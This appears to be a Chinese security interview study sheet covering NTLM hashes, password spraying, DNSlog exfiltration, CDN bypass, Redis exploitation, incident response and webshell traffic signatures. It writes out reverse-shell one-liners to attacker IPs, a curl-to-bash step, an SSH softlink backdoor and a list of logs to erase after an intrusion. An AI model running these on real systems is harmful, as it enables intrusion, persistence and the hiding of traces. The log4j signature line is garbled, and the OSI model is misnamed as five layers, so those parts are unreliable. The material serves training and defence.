- ps:如果密码不足7位,后面的一半是固定值,就可以根据特征从而判断出是LM Hash加密。
- NTLM 加密:先将明文口令转成Unicode字符串,然后对Unicode字符串进行标准的MD4单向哈希,MD4固定产生128bit的哈希,就是NTLM Hash
- 与LM Hash算法相比,明文口令大小写敏感,无法根据NTLM Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举作为数据源出现的明文,难度较大。
- 说一说挑战响应协议是什么
- 就是NTLM
NTLM的详细流程:
质询的完整过程:
- 1.客户端向服务器端发送用户信息(用户名)请求
- 2.服务器接受到请求,判断本地账户列 表是否有用户名,如果有,生成一个16位的随机数,被称之为“Challenge”, 使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1。生成一 个Net-NTLM Hash存在内存中,同时,生成Challenge1后,将Challenge(16位随机 字符)发送给客户端。
- 3.客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash。
验证: 服务器端收到客户端的Response后,比对Chanllenge1与Response是否相等,若相等,则认证通过。
- 如果一台电脑使用RDP登录一另一台电脑,你发现有凭证被保留,怎么利用?
- 保留凭证会生成一个本地文件,破解之后可以看见明文密码(详情)
- 喷洒攻击的原理是什么
原理:通常情况下,穷举攻击是固定好用户名,利用多个密码尝试验证。与穷举攻击相反,密码喷洒攻击是固定好密码,尝试多个用户名进行验证,在域系统中,员工往往因为初始入域的密码未进行修改导致被攻击者采取密码喷洒的方式获取权限。
同时可以避免对同一用户密码爆破,导致锁定。
- base64加密和base32 的区别是啥?base加密原理是什么
- base64:由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号作为后缀填充。一般情况下密文尾部都会有两个等号。
- 编码原理:Base64编码要求把3个8位字节转化为4个6位字节,之后在6位的前面补两个0,形成一个8位字节的形式,6位2进制能表示的最大数是2的6次方是64,这也是为什么是64个字符,这64个编码字符(=不属于编码字符,而是填充字符)
- base32:Base32的编码十由字母A-Z、数字2-7共32个可见字符构成,“=”符号作后缀填充。
- DNSlog 网站都可以干嘛
- 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。
- XSS盲注
- SSRF无回显
- SQL盲注
- 无回显的命令执行
- 如何绕过CDN找到真实IP,请列举五种方法
https://blog.csdn.net/lza20001103/article/details/127224458
- 可以使用多地ping和nslookup来判断是否由CDN
- 查询历史DNS记录:查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录(微步)
- 利用SecurityTrails平台,攻击者就可以精准的找到真实原始IP。
- 查询子域名
- 使用国外的主机解析域名
- 用Zmap
- F5 LTM 解码法:用F5 LTM做负载均衡时,通过set_cookie字段可以获取ip
- redis未授权访问如何利用,利用的前提条件是
- root账号启动redis服务
- 服务器开放SSH服务,允许密钥登录。
- 渗透的过程中如果遇到了请在微信端打开怎么办
- 更改一下请求头的信息
- 为什么aspx木马权限比asp大?
- ASPX木马可以利用.NET框架的特性,可以访问更多的系统资源,而ASP木马只能访问系统的文件和目录
Linux相关
- 入侵 Linux 服务器后需要清除哪些日志
- history 历史命令
- 清除系统日志痕迹
- 清除web入侵痕迹
- 文件安全删除
- 隐藏SSH登录记录
- 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
正向连接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
反向连接:因为正向连接受限,比如有waf,端口被占用等等。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1
- 使用
curl
访问远程站点下载文件,并使用管道符重定向到bash(间接的使用了bash一句话)curl ip/某个文件 | bash
- 这个文件里面有
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1
exec 5<>/dev/tcp/192.168.123.192/19111;cat <&5 | while read line; do $line 2>&5 >&5; done
awk 'BEGIN {s = "/inet/tcp/0/192.168.123.192/19111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
- 攻击机:
nc -lvnp 7777
监听7777端口
目标机:nc ip 7777 -e /bin/bash
将bash弹给攻击机
一般使用nc
因为 bash 是交互式,否则像useradd无法执行交互
- ssh软链接后门的原理是什么
- 利用前提:SSH配置中开启了PAM身份验证
- 流程:
- 查看是否开启:
cat /etc/ssh/sshd_config|grep UsePAM
- 使用命令
find /etc/pam.d | xargs grep "pam_rootok"
出现的则可以作为软连接名称 - 使用root执行
ln -sF /usr/bin/sshd /tmp/chfn;/tmp/chfn -oPort=1234
- 使用任意密码连接ssh
ssh root@127.0.0.1 -p 1234
- 查看是否开启:
- 原理:pam_rootok.so 模块可以使 uid 为 0 (root)用户可以直接通过验证而不需要输密码
- Linux 权限管理:r—读— 4 w —写—2 x—执行—1 可以使用chmod 修改权限
- /etc/passwd 内容:用户名称|密码标志|UID|GID
- 其中 UID 代表了用户权限:0 为 root 1-499 系统用户(伪用户) 500-65535 普通用户
- /etc/shadow 内容:用户名|加密密码|密码最后一次修改日期|
应急响应
- 首先应该是信息收集,比如说影响范围有多大,事件类型是什么,源头主机和攻击意图,是否需要保障业务等等信息,这一步可以帮助我们更有效的进行下一步的阻断攻击行为。
- 接下来就是结合已知的信息阻断攻击行为,保护资产。比如说攻击行为局限于某个站点,且未造成较大损失,那我们可以直接封掉攻击者的IP来确保业务的正常进行,当然之后也要对这个站点有一个持续的关注。如果是某台主机沦陷或者说域控服务器沦陷,那么这就算比较重大的损失,为了避免损失扩大,应该及时将感染设备断网处理。如果有备份服务器,可以切换备用设备来保障业务正常。
- 对攻击行为阻断后需要对数据进行保护,比如说保存好流量、可疑进程的内存、失陷系统镜像、恶意样本、设备的日志,这一步可以有效帮助我们后续的溯源工作。
- 安全事件影响根除,工具结合手工从系统用户是否有新增用户,进程信息,计划任务,自启动项,注册表,端口状态(是否有对外连接)等方面来检查是否有可疑行为,比如说火绒剑,ProcessHacker等专门用于分析这些方面的工具。如果有就直接关闭或者删除,有一些顽固进程或者顽固文件无法关闭或者删除可以结合专杀工具处理,比如说Rkhunter,火绒等工具。
- 恢复业务,加强安全措施,加固系统等,比如说更新软件版本,安装已知漏洞的补丁,关闭某些端口等等,暂时没有解决办法的可以根据业务需求关闭某些服务
- 最后就是输出报告,总结反思。
Linux应急
- 考察是否考虑到系统账号的排查(比如查看特权账户、可以远程的账号、root意外sudo权限的账号)
- /etc/passwd
- /etc/shadow
- 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
- 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
- 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
- 禁用或删除多余及可疑的帐号 usermod -L user 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头 userdel user 删除user用户 userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除
- 考察是否考虑到查看历史命令
- .bash_history
- 考察是否考虑到异常端口和进程的排查
- 进程 ps aux | grep pid
- netstst 可以看到端口的连接信息
- 考察是否考虑到检查定时任务
- crontab
- 开机启动项 : /etc/init.d
- 考察是否考虑到检查异常文件
- /tmp
- /etc/passwd
- /etc/shadow
- 考察是否考虑到检查系统日志,是否知道日志文件存放的位置,知道那些日志文件例如:/var/log/cron 系统定时任务日志、/var/log/wtmp用户的登录、注销信息,同时记录系统的启动、重启、关机事件
- 考察是否知道一些webshell查杀工具
- D盾
- 河马WEBSHELL
- 百度WEBDIR+
- WebShellDetector
- SangforWebShellKill[深信服]
- PHPMalwareFinder[支持Linux]
Windows应急
- 考察是否考虑到系统账号的排查
- 隐藏账号的发现与删除
- 考察是否考虑到异常端口和进程的排查
- 进程 netstat -an
- 考察是否考虑到检查启动项、计划任务、服务
- msconfig
- 考察是否考虑到查找可疑目录及文件,例如用户目录;%UserProfile%\Recent目录;通过在敏感目录下通过时间拍讯查找可疑文件、回收站、浏览器下载目录等;是否考虑到用系统自带文件搜索功能,搜索指定时间段内修改的文件
- 考察是否考虑到如果发现webshell、远控,根据其创建时间找出同一时间范围内创建的文件
- 考察是否考虑到用自动化查杀、知道哪些自动化查杀工具
- 考察是否考虑到对日志进行分析,例如系统日志、web访问日志
攻击流量特征
- 蚁剑/菜刀/冰蝎/哥斯拉的特征
- 蚁剑AntSword:
- **php:**assert、eval
- **ASP:**eval
- **JSP: ClassLoader,**也会存在base64编码
- 菜刀:默认的webshell中连接密码都是caidao,ua为百度爬虫、请求体中存在eval,base64等特征字符。响应包中含X@Y、php的webshell中流量参数z0、z1、z2
- 冰蝎Behinder(4.0):
- Accept:appliaction/json,text/javascript,/,q=0.01
- 正文请求是加密的
- 哥斯拉Godzilla:
- **jsp码:**会出现xc,pass字符串,base64加解码;
- **php,sap码:**普通的一句话木马
- SQL注入特征:
- 客户端进入服务的请求数据包中寻找关键字(select、union、oder by、group by)
- 服务器响应包状态码为200、400、500找关键字(You hvan an error in your SQL syntax)
- log4j 攻击特征:
- KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi 、{jind:ldap、KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:rmi、{jndi:base64
- shiro 特征:
- 请求头和响应中有remberme字段
- 回显特征:三个美元符号
设备相关
防火墙:网络边界间的隔离和对网络中数据交互的控制。防火墙最基础的功能是策略控制流入流出IP及端口、nat、端口映射。
IPS:防御网络中的攻击和入侵等行为的网关型安全设备,在安全功能上是对防火墙的一个补充
IDS:在网络中部署IDS设备可以对整个网络系统进行实时监视
WAF:工作在应用层,通过对http或https的web攻击行为进行分析并拦截来降低网站安全风险,通过特征提取和分块检索进行模式匹配来达到过滤、分析、校检网络请求包的目的,在保证正常网络应用功能的同时,隔绝无效非法的攻击请求。
蜜罐:是一种主动防御技术,通过模拟易受攻击的主机或服务来吸引攻击者,捕获攻击流量,发现网络威胁,提取威胁特征,它的价值在于被探测、攻陷。
工具相关
burp为什么能抓取https流量数据包
burp 会模拟以成客户端、服务器对服务器、客户端进行通信。
计算机网络
- OSI五层网络模型
物理层、数据链路层、网络层、传输层、应用层
-
TCP 对比 UDP
| | TCP | UDP |
| — | — | — |
| 广播协议 | 单播(TCP点对点) | 单、多、广播 |
| 可靠性 | 面向连接的可靠的传输协议(文件传输) | 无连接的不可靠(适用于视频会议、IP电话等实时应用) |
| 连接数 | 只能是一对一 | 可以一对一、一对多、多对多 | -
TCP/IP协议
三次握手
- 三报文握手是否多余,能否简化为两报文握手?
- 答:不多于。是为了防止已失效的连接请求报文段突然又传到了TCP服务器,因而导致错误。
四次挥手
- 等待2MSL有必要吗?不能直接进入关闭状态吗?
- 有必要。假设这样一种情况,TCP客户端发送最后一次确认报文段后,直接进入关闭状态。此时恰好发送的报文段丢失,那么TCP服务器端将无法进入关闭状态,由于没有收到TCP连接释放的确认报文段,TCP服务器端就会对该报文段进行超时重传。所以2MSL是有必要的,但是根据实际状况的不同,MSL可以适当的减少或增加时长。
- ARP协议
ARP协议可以通过IP地址获取到设备的MAC地址。
1.当主机A向本局域网上的某个主机B发送IP数据报时,现在其ARP高速缓存中查看有无主机B的IP地址:
有:就可查出对应的硬件地址,再将此硬件地址写入MAC帧,然后通过局域网将该MAC帧发送此硬件地址。
没有:ARP进行再本局域网上发送一个ARP请求分组。收到响应后,将得到的IP地址到硬件地址的映射写入ARP高速缓存。
分组请求的内容包括(我的IP地址,我的MAC地址,我想知道某个IP的MAC地址)
2.在本局域网上的所有主机上运行的ARP进程都会收到ARP请求分组。
3.主机B的IP地址与ARP请求地址要查询的IP地址一致,就收下这个ARP请求分组,并向A主机发送ARP响应分组,同时写入自己的MAC地址。其余主机发现查询IP地址与自己的IP地址不符,直接忽略。
4.主机A收到主机B的ARP响应分组后就在其ARP钟写入主机B的IP地址到MAC地址的映射。
5.同时,为了减少ARP广播数量,当主机B收到A的APR请求分组时,就将主机A的这一地址映射写入主机B自己的ARP高速缓存中。
- TCP 可靠传输的实现
- 流量控制
- 利用滑动窗口来实现,
- 拥塞控制